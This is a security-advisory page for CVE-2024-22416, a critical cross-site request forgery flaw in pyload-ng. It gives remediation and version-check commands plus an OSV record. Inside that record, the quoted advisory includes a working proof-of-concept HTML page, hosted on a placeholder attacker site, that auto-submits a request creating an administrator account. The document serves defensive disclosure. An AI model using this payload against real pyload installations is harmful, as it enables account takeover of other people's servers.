CVE-2024-22416: Pyload ng Cross-Site Request Forgery On Any Vulnerability
CRITICALCVE-2024-22416 is a CRITICAL (CVSS 9.6) cross-site request forgery on any vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves cross-site request forgery on any api call in pyload may lead to admin privilege escalation. Remediation is available by upgrading affected packages to version 0.5.0b3.dev78.
CVE-2024-22416 at a Glance
Security Impact
CVSS: 9.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).
How to Fix CVE-2024-22416
To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyload-ng>=0.5.0b3.dev78
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyload-ng
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2024-22416, inspect your installed packages using pip:
pip show pyload-ng
Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev78), your application is affected.
Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-22416 Affected Pyload ng Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyload-ng
|
PyPI |
< 0.5.0b3.dev78
|
0.5.0b3.dev78
|
References
Frequently Asked Questions
What is CVE-2024-22416?
Which Pyload ng versions are affected?
What version fixes CVE-2024-22416?
Is pyload-ng affected?
What is the CVSS score of CVE-2024-22416?
What CWE is associated with CVE-2024-22416?
How can I check PyPI dependencies for CVE-2024-22416?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pgpj-v85q-h5fm",
"modified" : "2024-10-21T21:06:20Z",
"published" : "2024-01-19T15:27:12Z",
"aliases" : [ "CVE-2024-22416" ],
"summary" : "Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation",
"details" : "### Summary\nThe `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.\n\n### PoC\nWe host the following HTML file on an attacker-controlled server.\n```html\n<html>\n <!-- CSRF PoC - generated by Burp Suite Professional -->\n <body>\n <form action=\"http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22\">\n <input type=\"submit\" value=\"Submit request\" />\n </form>\n <script>\n history.pushState('', '', '/');\n document.forms[0].submit();\n </script>\n </body>\n</html>\n```\n\nIf we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.\n\n\nThe attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.\n\n\n### Impact\nAny API call can be made via a CSRF attack by an unauthenticated user.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyload-ng"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.5.0b3.dev78"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-22416"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyload/pyload"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-352" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2024-01-19T15:27:12Z",
"nvd_published_at" : "2024-01-18T00:15:38Z"
}
}